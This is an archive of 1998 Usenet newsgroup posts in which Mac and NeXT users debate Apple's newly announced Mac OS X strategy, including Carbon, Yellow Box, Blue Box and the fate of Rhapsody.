References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <ericb-1105981902130001@132.236.171.104> <3557A1DE.17A6@earthlink.net>
In article <3557A1DE.17A6@earthlink.net>, skellener@earthlink.net wrote:
> I think everybody is confusing things here. Here's what I see from the
> outlined plan.
> The Blue Box = "Carbon". These are all the regular Mac API's that
> everyone still uses. Carbon is not a new item, just a new name. Blue
> Box was only a temp name.
It sounds more like there are _two_ Blue Boxes -- the stripped-down,
cleaned-up Carbon which enables true PMT, Mach VM, etc., and the original
Blue Box for 100% binary compatibility. I'm guessing these will run as
_separate_ Mach tasks, but I don't know.
> The Yellow Box (Rhapsody API's) = Mac OS X. Yellow Box was only a temp
> name.
Again, it looks like Mac OS X is a lot more similar to "BlueBox on Mach
plus Yellow Box for MacOS" than it is to Rhapsody.
> Now, having said that....if you want to port your current Mac app to Mac
> OS X to take advantage of the new features (pre-emptive multi-tasking,
> protected memory, etc.) you must see how much "Carbon" you will have to
> remove and replace (hence "carbon dating").
Actually, the Carbon is the stuff you leave in, not take out..
> This would be most likely with Yellow Box API's.
Uh, no. I doubt that the Yellow Box and regular Carbon-based apps are
going to mix code very well.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: 12 May 1998 08:00:22 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j9dkm$173$1@crib.bevc.blacksburg.va.us>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <1d8w02l.8jafl315dbwx8N@sextans111.wco.com> <oXT51.1822$sy4.3189027@news.rdc1.sdca.home.com>
In article <oXT51.1822$sy4.3189027@news.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> What company's going to commission development on an OS platform without any
> future development scheduled? Any company you know that will risk "pilots" o
> a _future_ announced replacement OS?
The Yellow Box is going away any more than Carbon/MacOS is. If you
were planning on getting Rhapsody before, I don't see any reason why
you shouldn't be planning to do so now. The "it's going away" argument
isn't valid -- big deal. So you upgrade to something called "MacOS X" the
next time you get an OS upgrade rather than something called "Rhapsody".
Your apps will still run.
> Could AAPL have a couple of lean years ahead selling a static OS into a
> dynamic marketplace on the "promise" of a replacement. The technological
> horizon on the MacOS X is near-field, ie yesterday's technology. Two years
> from now? At the speed of technological developments in the computer
> industry, how can specs for MacOS X be "obsolete proof"?
The Carbon specs are basically a _subset_ of the MacOS specs. Anything
new will likely take the form of _add-on_ toolkits. (Which will
also be available for traditional MacOS, possibly through the Carbon
libraries for MacOS.) I see no problems with MacOS X keeping up with the
technological pace; it's not like they can't produce anything useful for
it before it ships. Heck, they've got a prototype running _now_ on
Rhapsody DR2, didn't you see the demo??
But you're right, there is still the issue of can they get this technology
into the hands of consumers soon enough to matter. Depends on their
schedule of folding stuff into MacOS, too.
From: schuerig@acm.org (Michael Schuerig)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 13:56:29 +0200
Organization: Completely Disorganized
Message-ID: <1d8x3yi.194xwvw1ebkwsgN@rhrz-isdn3-p29.rhrz.uni-bonn.de>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com> <3557A58F.41815B27@netscape.com>
Mail-Copies-To: never
Mike Pinkerton <pinkerton@netscape.com> wrote:
> Now we have an api everyone already knows (carbon) and it's on
> multiple platforms. Why yellowbox now?
Well, I for one hope to get rid of most of the old Mac APIs as soon as
possible. YB is far more attractive.
Michael
--
Michael Schuerig
mailto:schuerig@acm.org
http://www.uni-bonn.de/~uzs90z/
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon features: NO Quickdraw !!
Date: 12 May 1998 08:06:56 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j9e10$17v$1@crib.bevc.blacksburg.va.us>
References: <6j9631$61c$1@news.tudelft.nl>
In article <6j9631$61c$1@news.tudelft.nl>, guyt@is.twi.tudelft.nl (Abraham Guyt) wrote:
> Below a repost of a mac.advocacy newspost. One very important aspect is
> that Quickdraw is NOT supported by Carbon.
> From: st942593@pip.cc.brandeis.edu (cpt kangarooski)
> Newsgroups: comp.sys.mac.advocacy
> Subject: Carbon
> Date: Tue, 12 May 1998 01:48:16 -0400
> GONE:
> *QuickDrawGX
> Sorry guys, but this one is outta here.
The GONE list included QuickDraw GX (we knew this was gone already),
but it didn't appear to include _QuickDraw_..
> NEW:
> *Apple Type Solution for Unicode Imaging (ATSUI)
> Can these acronyms get any worse?
(Actually, I think it's kind of a cool acronym. It's Japanese, three
syllables, means "Hot". Doesn't have anything to Unicode, though.) :)
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 13:53:48 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6j9d8c$ft4$1@larry.admin.phil.uu.nl>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>
Mime-Version: 1.0
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Nathan:
>>effectively telling developers, "Screw Rhapsody."
>Are they?
Yes. In the sense that you'd be nuts to go writing apps to
the yellow box API now. That API seems to have been replaced
by a carbon black one. I guess. Still you'd be nuts to go
write something to the carbon one either. As it probably
will be replaced once more by something else, next summer.*
It's the way of Apple, apparently, to change the plans before
they have been executed. Again. And again.
Freek
(*if Apple still exists by then, that is)
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 08:12:24 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j9eb8$197$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <markeaton-1105982335100001@209.86.154.31>
In article <markeaton-1105982335100001@209.86.154.31>, markeaton@mindspring.canned-meat-filter.com (Mark Eaton) wrote:
> In article <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us>, nurban@vt.edu wrote:
> It needs to be stated very clearly: Carbon is *not* the blue box, nor a
> blue box derivative, nor based on blue box technologies.
So, what, it's a clean-room reimplementation of a subset of the MacOS
APIs?? This seems unlikely. It sounds more like they took the Blue
Box on Mach and removed some of the cruft that would violate memory
protection and prevent other Mach features from being fully enabled.
But I could be grossly in error, and probably am. :) Anyone have
hard information to the contrary?
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 08:15:26 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j9egu$19r$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <6j7t4a$v9r$1@crib.bevc.blacksburg.va.us> <6j9d8c$ft4$1@larry.admin.phil.uu.nl>
In article <6j9d8c$ft4$1@larry.admin.phil.uu.nl>, freek@phil.uu.nl (Freek Wiedijk) wrote:
> Nathan:
> >>effectively telling developers, "Screw Rhapsody."
> >Are they?
> Yes. In the sense that you'd be nuts to go writing apps to
> the yellow box API now. That API seems to have been replaced
> by a carbon black one. I guess.
Completely wrong. _Both_ APIs will be available in Carbon, as has been
specifically stated, both on Stepwise and by an Apple engineer here.
> Still you'd be nuts to go write something to the carbon one either.
> As it probably will be replaced once more by something else, next summer.*
Are you just being a troll, or are you really that stupid? I'm guessing
the former.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 08:20:06 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6j9epm$1al$1@crib.bevc.blacksburg.va.us>
References: <ericb-1105981718430001@132.236.171.104> <3557C5B4.81BDA525@loa.com> <slrn6lfq90.eph.mbkennel@lyapunov.ucsd.edu> <see-below-1205980356460001@209.24.240.56>
In article <see-below-1205980356460001@209.24.240.56>, see-below@not-my-address.com (Matthew Vaughan) wrote:
> In article <slrn6lfq90.eph.mbkennel@lyapunov.ucsd.edu>, mbkennel <replace
> this with '@'> yahoo.com wrote:
> > Software companies are stupid. Look, in 1989 already, Steve's company had
> > an API which was so incredibly unbelievably stupendously better than
> > everything else at the time except for a few Lisp machines folornly decaying
> > in museums and cognitive science departments.
> I don't think you get it. Software companies by and large couldn't give a
> fuck what API they're using - they go where the customers are, and Next at
> the time had essentially 0 customers, same as Yellow Box today.
I beg to differ; while what you say has a lot of truth to it, what he said
has a lot of truth to it too.. there is a lot of developer inertia just
like there's user inertia, and developers are not inclined to jump to a
new API (or a new language, or a new syntax).. I have a lot of trouble
convincing some developers I run across that OpenStep development is good,
from a _development_ perspective (not marketing).
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Tue, 12 May 1998 06:23:33 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35583135.7CE2CEC9@milestonerdl.com>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com> <rex-1105981539090001@192.168.0.3> <355747DE.B4BF976B@milestonerdl.com> <ufemy0gz3l.fsf@ftp.ardi.com> <see-below-1105981931110001@209.24.240.244>
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Matthew Vaughan wrote:
> In article <ufemy0gz3l.fsf@ftp.ardi.com>, ctm@ardi.com (Clifford T.
> Matthews) wrote:
>
> > >>>>> "Mark" == M Rassbach <mark@milestonerdl.com> writes:
> >
> > Mark> And, if YellowBox is to be de-emphized, and later scrapped,
> > Mark> developers don't have an easy migration path OFF of Apple
> > Mark> hardware...like yellowbox can now offer.
> >
> > Ding.
>
> But this is a dangerous gamble. Mac developers _are already_ developing
> Windows applications, even without such a migration path. Yellow Box would
> at least ensure that the resulting applications will still run on Macs.
Exactly. It IS a dangerous game Apple is playing. Apple needs to decide if
it's a hardware or a software company. If Apple tries using its software to
protect its hardware, it will continue to 'loose'.
> If
> they switch over to Windows itself, that doesn't necessarily happen.
Just less work. Apple is counting on the lazyness of people to not switch.
And, given the quality of some of the minds I've had the pleasure of
interacting with, lazy in thinking is about right.
> And
> even if they produce both versions for a while, many end up dropping the
> Mac versions when it becomes a small enough part of their business.
Yup.
> Still, I agree that moving developers wholesale over to a new
> cross-platform API (with the full OS also available on both platforms) is
> even more dangerous due to the risk of customers abandoning Apple
> hardware, if they consider the OS to be the important part.
Yup. But, what is the status of that API - called YellowBox.
The course wasn't clear...and still isn't.
And even if the course is laid out, the course was laid out with
Newton/OpenDoc/Clones and the purchase of NeXT. Yet, how much of the course
has changed. And if Apple didn't have this history of scewing the developers,
this thread wound not exist, now would it?
From: holger@object-factory.REMOVETHIS.com (Holger Hoffstaette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 12:08:55 GMT
Organization: the unstoppable code machine
Message-ID: <6j9e4n$buf$1@leonie.object-factory.com>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu>
<6j83ou$fog$1@flotsam.uits.indiana.edu>
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Gregory Loren Hansen wrote:
> Either you jump off the diving board or you don't, it doesn't do much good
> to be hanging on to the edge with three fingers.
Yes. Don't fight the frameworks; let the frameworks fight for you.
> They pulled it off with PowerPC. What's the basic problem with this one?
It would require the Mac 'community' to Think Really Different.
Not to mention the PHBs at Apple, Adobe and MicroMedia. :-(
Holger
--
Object Architect, Object Factory GmbH | It's like a jungle sometimes,
@work: holger"at"object-factory.com | it makes me wonder
@home: hhoff"at"ragnarok.en.uunet.de | how I keep from going under
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody and games
Date: Tue, 12 May 1998 06:52:00 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355837E0.8F27407F@milestonerdl.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <6j82vd$1cc$1@ironhorse.plsys.co.uk> <see-below-1105981809120001@209.24.240.244> <6j8a9i$g46$3@newsfep4.sprintmail.com> <6j8bro$sam$2@news.xmission.com> <see-below-1105982011040001@209.24.240.244>
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To: Matthew Vaughan <matthewv@best.com>
Matthew Vaughan wrote:
> IYes, I sincerely hope he is wrong, and I hope you can prove it sometime!
> If YB were ported to more platforms than just Windows and Rhapsody (ie,
> start with Sun and HP and keep going),
Are you willing/able to create a series of links supporting your hope?(Actually
Apple press releases would be the best.)
And, do you know anyone at WWDC who can obtain the above answers?
From: spagiola@usa.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Tue, 12 May 1998 12:49:27 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6j9ggn$rus$1@nnrp1.dejanews.com>
References: <ericb-1105981718430001@132.236.171.104> <6j7rku$cbc$1@pith.uoregon.edu>
Wesley Horner <wesman@azrael.uoregon.edu> wrote:
> Whoa! Slow down. They didn't even get that into it yet. They didn't say
> anything about screwing the next community. All I saw was the mac os
> toolbox implemented on top of rhapsody. That would be in addition to
> the openstep stuff that is already there. I for one am excited that
> there will be apps for this thing that I am used to (photoshop,
> macromedia stuff, etc.). Don't judge the software strategy until
> you have heard the whole story.
Trouble is, Apple and Steve Jobs had billed this speech as the one that would
clarify Apple's software strategy. Instead, we now have even more questions
and confusion than before. I reserve judgement on whether this new tack is
good or bad, but it's certainly clear that as a "clarification of future
software strategy" this one was blown big-time.
Stefano Pagiola
My opinions alone
Longtime MacOS and NeXTSTEP user, reluctant Windows 95/NT user, future
Rhapsody user
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 12:39:24 GMT
Organization: P & L Systems
Message-ID: <6j9fts$1cc$7@ironhorse.plsys.co.uk>
References: <B17C8D50-7E886@206.165.43.134> <35573831.69E8CDC6@milestonerdl.com>
<rex-1105981539090001@192.168.0.3> <see-below-1105981925520001@209.24.240.244>
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Cc: see-below@not-my-address.com
In <see-below-1105981925520001@209.24.240.244> Matthew Vaughan wrote:
> I agree. I think the writing has been on the wall for quite some time that
> Yellow Box wasn't being pushed/adopted in the way it would need to be for
> Apple to seriously pursue it as the future of the Mac.
>
Ah, but they are seriously pursuing it. As well.
I admit I was confused (well, devastated) to begin with, but now it all makes
sense.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 12:46:14 GMT
Organization: P & L Systems
Message-ID: <6j9gam$1cc$8@ironhorse.plsys.co.uk>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <1d8w9sp.1qqgx4p6r334gN@rhrz-isdn3-p44.rhrz.uni-bonn.de>
<6j893a$g46$1@newsfep4.sprintmail.com> <3557DA61.F8D7788C@trilithon.com>
<6j8ne2$ps6$1@newsfep3.sprintmail.com>
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Cc: macghod@concentric.net
In <6j8ne2$ps6$1@newsfep3.sprintmail.com> macghod@concentric.net wrote:
> . . . . . . . . . . . . . . . . . . . . . .
> > * No, how is it a troll? I see no possible way how it
> > * could be a troll against apple.
> > * Will Qd gx be a part of macos X?
> > The other day you promised to clean up your act . . .
>
> I am very sorry, I dont see what is wrong with what I did? Can you please
> inform me?
> I am most definitely not going to apologize when I see absolutely nothing
> wrong with what I did?
>
Hmm, I'd have thought that you should have known better, however I suspect we
should give you the benefit of the doubt on this one. Lawson's pride and joy
is QuickDraw GX which is emphatically not part of the Carbon API (due to lack
of developer interest, it says in the paper) -- a rather distinct beastie
from QuickDraw.
Best wishes,
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: 12 May 1998 12:48:05 GMT
Organization: P & L Systems
Message-ID: <6j9ge5$1cc$9@ironhorse.plsys.co.uk>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org>
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Cc: jason@jhste1.dyn.ml.org
In <slrn6lfd10.2id.jason@jhste1.dyn.ml.org> Jason S. wrote:
> Lawson English wrote:
>
> >Make no mistake about it, this MacOS X move is a desperation ploy on the
> >part of Apple. It may make some short-sighted developers and end-users
> >happy, and placate Adobe, Macrosoft and Microsoft, but the fact that it is
> >necessary speaks volumes about the political scene at Apple.
>
> They'll flame you, but you're right, IMO.
>
Oh, Lawson's right, I'm sure. What he deserves flaming for is that he is
himself one of the myopic developers/end-users who has required Apple to do
this.
Best wishes,
mmalc.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: Tue, 12 May 1998 07:11:52 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35583C88.10EC8748@milestonerdl.com>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <1d8w02l.8jafl315dbwx8N@sextans111.wco.com>
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Mike Paquette wrote:
> Probably because a developer can be about 5x as productive using the
> Yellow APIs. Existing apps get ported using Carbon.
When will Apple tell 'us' about YellowBox, and what platforms it will run on?
So far:
OpenSTEP
NT/OpenSTEP/Solaris/HP-UX
And:
YellowBox
NT4/win95/MacOS8
And one hell of a lot of rumors.
NT4-MacOS8 isnt' too compelling
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 15:07:45 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6j9hj1$g6f$1@larry.admin.phil.uu.nl>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <MPG.fc15adad12883c99896a7@news.supernews.com> <slrn6lf9fe.1lm.jason@jhste1.dyn.ml.org>
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Jason:
>>Yes, they buy some, but those who are happy as a clam
>>running System 6 on an LC III are happy as a clam with the software they
>>have.
>Hey - let's nitpick! System 6 on an LCIII?
He's right you know. If there was system 6 that run an LC
III, I'd be running it. But there isn't. AFAIK. Maybe some
hack, but in that case I don't have it.
Freek
(I never liked the System 7 Finder much... although it's not
as bad as the System 8 Finder :-))
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 12 May 1998 15:04:50 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6j9hdi$g58$1@larry.admin.phil.uu.nl>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <B17CAD54-99FF@206.165.43.2> <MPG.fc15adad12883c99896a7@news.supernews.com>
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Donald:
>It's neat because there have been three complaints Windows
>users have had about Macs:
>(a) Cost more
>(b) Less software
>(c) Crashes more.
>
>Apple's done a pretty good job at slashing complaint A.
No. Your basic Windows box is a _lot_ cheaper than your
basic Mac. Even with this iMac boxlet.
>Complaint B is very overdone (flip through a recent
>MacWarehouse catalog).
No. There are tons of CD-ROMs I can't run _(very_
interesting dictionaries (to me), museum exhibition CD-ROMs,
electronic comic books, whatever.) Whether you call them
"software" or not, the Mac can't run those things.
>OSX seems to be aimed at obliterating complaint C.
Fall 1999. I can't wait.
>I hope and pray Apple finally follows through and gets this done.
I hope and pray Apple finally will produce something I can be
really enthousiastic about. Whether they follow through on
this OS X thingy doesn't interest me a bit.
Freek
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: MacOS X: it's all over
Date: Tue, 12 May 1998 07:22:19 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35583EFB.24C591B6@milestonerdl.com>
References: <6j8fet$k2n$1@walter.cs.umd.edu> <1d8w02l.8jafl315dbwx8N@sextans111.wco.com> <oXT51.1822$sy4.3189027@news.rdc1.sdca.home.com> <6j9dkm$173$1@crib.bevc.blacksburg.va.us>
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Nathan Urban wrote:
> In article <oXT51.1822$sy4.3189027@news.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
>
> > What company's going to commission development on an OS platform without any
> > future development scheduled? Any company you know that will risk "pilots" o
> > a _future_ announced replacement OS?
>
> The Yellow Box is going away any more than Carbon/MacOS is. If you
> were planning on getting Rhapsody before, I don't see any reason why
> you shouldn't be planning to do so now. The "it's going away" argument
> isn't valid -- big deal.
Err The Newton wasn't going away, nor was OpenDoc, nor were the clones a year (or so
ago)
The history of Apple has had some well hyped technologies go away.
This 'the sky IS falling' argument is compelling. Apple needs to convice developers
otherwise. If you want to dig into Apple's past, look at a Steve Jobs Mac-lovefest in
the 1984-1985 date range. Woz was promised that the Apple //e(?) was going to be demoed
doing postscript, but was not mentioned, because Jobs wanted the Apple ][ line dead...so
no mention.
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: TidBITS#429/11-May-98 4
Date: Tue, 12 May 1998 07:35:02 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <355841F6.53DD724F@milestonerdl.com>
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SHEPPARD GORDON wrote:
> Gradually, Rhapsody would replace the Mac
> OS entirely. (See our report on last year's WWDC for details on
> Rhapsody and the Blue Box.)
And the Newton was going to be supported back then.
Anyone have a more modern reference supporting this?
Eveyone's fav. utensil siad Rhapsody is going bye-bye.
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: 12 May 1998 15:27:39 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6j9iob$ga2$1@larry.admin.phil.uu.nl>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <35593b48.6388203@198.0.0.100> <stevenj-ya02408000R1105982034070001@news.mit.edu>
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Steven:
>Sigh...how long are people going to complain about Copland? Rhapsody IS
>GOING TO SHIP. MacOS X is just the next step after that, which will bring
>all of the existing MacOS developers on board.
You shouldn't forget that if you don't pour all your energy in one thing
(Rhapsody), but instead focus lots of energy on something else (MacOS X),
that first thing is going to lose momentum. Currently Apple is working
on _three_ systems (traditional MacOS, Rhapsody, MacOS X). They really
should choose.
Freek
--
Who has choices need not choose.
We must, who have none.
We can love but what we lose -
What is gone is gone.
-- Peter S. Beagle, "The Last Unicorn"
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X
Date: Mon, 11 May 1998 23:43:07 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1105982343080001@dialin33418.slip.uci.edu>
References: <6j7roi$m57$1@nnrp1.dejanews.com> <slrn6lev9v.4k9.sal@panix3.panix.com> <rmcassid-1105981604220001@dante.eng.uci.edu> <slrn6lfjer.l9u.sal@panix3.panix.com>
In article <slrn6lfjer.l9u.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Mon, 11 May 1998 16:04:22 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
> >We have a theory that Steve decided it was better to piss off the
> >Rhapsody/YellowBox people and satisfy them by Friday through other
> >sessions than to piss off MacOS people and have them leave and not attend
> >the sessions at all as happened last year with the Rhapsody replacing
> >MacOS stuff.
>
> That sounds like the RDF meter was tuned up to eleven.
Well, it's what happened last year. It was Rhapsody, Rhapsody, Rhapsody,
and all the Mac guys got turned off. Sure it was interesting to see the
new stuff, but how many people saw it as something they needed to support?
Instead they seemed to tune out. This time he gave the MacOS guys exactly
what they wanted. MacOS apps with PMT, PM, etc. Watching the keynote, it
wasn't clear that Carbon was going to be hosted on Rhapsody. In fact it
still isn't. No mention of YellowBox. No mention of cross-platform
(because _everybody_ knows it can't possibly work, I suppose). And so on.
Instead it was: "How to rescue your app from the bowels of a poorly
engineered MacOS". It was a good message, unless YellowBox/cross-platform
was what you wanted. To those people it just sucked. But I suspect a lot
of my MacOS developer friends are doing high-fives right now...
In fact, I thought it was one of Steve's worst. It was almost a complete
rehash of Wednesday, with a *very* confusing explanation of a software
strategy. Having the Adobe guy up there telling us all about what he did
on his summer vacation didn't help much either... but I *think* we just
saw Photoshop 5 sorta running on Rhapsody, and a suggestion that we'll get
Office. I think I should be pleased with this, but I'm a bit nervous until
it all plays out.
> >Basically Steve was as accomodating to the MacOS guys as possible,
> >promising all the goodies for their Mac apps with only a bit of a rewrite,
> >while also being so horribly vague that you couldn't really say that he
> >killed MacOS/Rhapsody/YB/etc.
>
> Renameing Rhapsody MacOS X is a good idea. Years ago I suggested that IBM
> rename OS/2 to Dos 6. You want people to think that they are "upgrading"
> and not "migrating"
I agree it was a good idea. Almost as good as naming it Windows 99. The
link to Ernies April Fools joke that was posted here is somewhat
disturbing, however...
Overall, I think it'll work out splendidly so long as it doesn't mean that
Rhapsody as we know it goes away altogether. That YellowBox doesn't go
away. That cross-platform isn't out of the picture. That YellowBox/MacOS
isn't dead. That UNIX will still be there. And that OS X is really nothing
but recompiling MacOS apps for Rhapsody. But the keynote created *way*
more questions than answers, but was presented as though it was offering
answers. I think that is why so many people are going ape-shit, because
they think they got an answer and just didn't get it. It really sounded
like Rhapsody was dead.
Right now my biggest concern is that it seems that YellowBox may not run
on MacOS 8 after all. That would seriously suck for me.
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Mon, 11 May 1998 23:55:45 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1105982355460001@dialin33418.slip.uci.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com>
In article <3557C5B4.81BDA525@loa.com>, Ari <ari@loa.com> wrote:
> Is this
> "ASDE" just for shareware writers, ex-openstep developers, and college
> hackers? Aren't there benefits to a completely object oriented environment?
Sure there are - when you are starting a new project. Not when you are
trying to migrate an old one from a codebase of C/C++ designed around
Win32 and the Mac Toolbox.
> "Rhapsody was great technology...The problem was when you ran existing
> [applications] in the 'Blue Box,' you didn't get any new features," Jobs said.
> "Nobody wanted to do this. We came to the conclusion that Rhapsody
didn't give
> us what we wanted."
Paraphrased: "Rhapsody didn't give us Office and Photoshop on a PMT system."
> What are these precious features that blue box apps can't do without?
> The need for backward compatibility has set back personal computing about 10
> years. MacOS X still won't be as nice as a purely yellow box rhapsody on
mach. > All I want is OpenStep 5 damnit :)
But that isn't what Adobe wants. Adobe already has cross-platform
frameworks for their apps. They don't need to rewrite everything for
YellowBox. Instead, they need to migrate. Perhaps when they write a brand
new app, that wouldn't take advantage of these new libraries they'll jump
to YellowBox. Or when MS forces them to make the big jump, Merced perhaps.
I suppose it depends on how Carbon is handled to say whether it'll be as
nice. I don't think it will, but the question to ask is: "Would I rather
have a Carbon based Framemaker, or no Framemaker at all?"
-Bob Cassidy
From: M Rassbach <mark@milestonerdl.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Lawson's impact?
Date: Tue, 12 May 1998 07:54:50 -0500
Organization: Inc.Net http://www.inc.net
Message-ID: <35584699.E9FB2833@milestonerdl.com>
References: <6j829e$9j3$1@newsfep4.sprintmail.com> <B17CFBA1-1141D@206.165.43.26>
<slrn6lfd10.2id.jason@jhste1.dyn.ml.org> <EvP51.1535$sy4.3061975@news.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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Rex Riley wrote:
> In <slrn6lfd10.2id.jason@jhste1.dyn.ml.org> Jason S. wrote:
> > Lawson English wrote:
> >
> > >Make no mistake about it, this MacOS X move is a desperation ploy on the
> > >part of Apple. It may make some short-sighted developers and end-users
> > >happy, and placate Adobe, Macrosoft and Microsoft, but the fact that it is
> > >necessary speaks volumes about the political scene at Apple.
> >
> > They'll flame you, but you're right, IMO.
> >
> > j
>
> If there is truth to the ploy, and Apple screws around catering to MacOS
> politics, the window of opportunity for Rhapsody may be "toast". How ironic
> that Apple should distract their comeback an additional year to allow NT5.0 to
> mature past Rhapsody's "window".
>
> No revolutions here, just long slow evolutionary growth off niche markets as
> per Application Vendors good graces. This portends a defensive strategy to
> settle into the trenches and build marketshare. They must not have a critical
> mass to pull off any coup. I wonder where the magic marketshare number lies?
Apple does have a couple of days to fire off some press releases to convice the
doubting otherwise.
What's the 'magic number'? No idea. But it looks like the Open Source camp is
going to get to that number before Apple does.
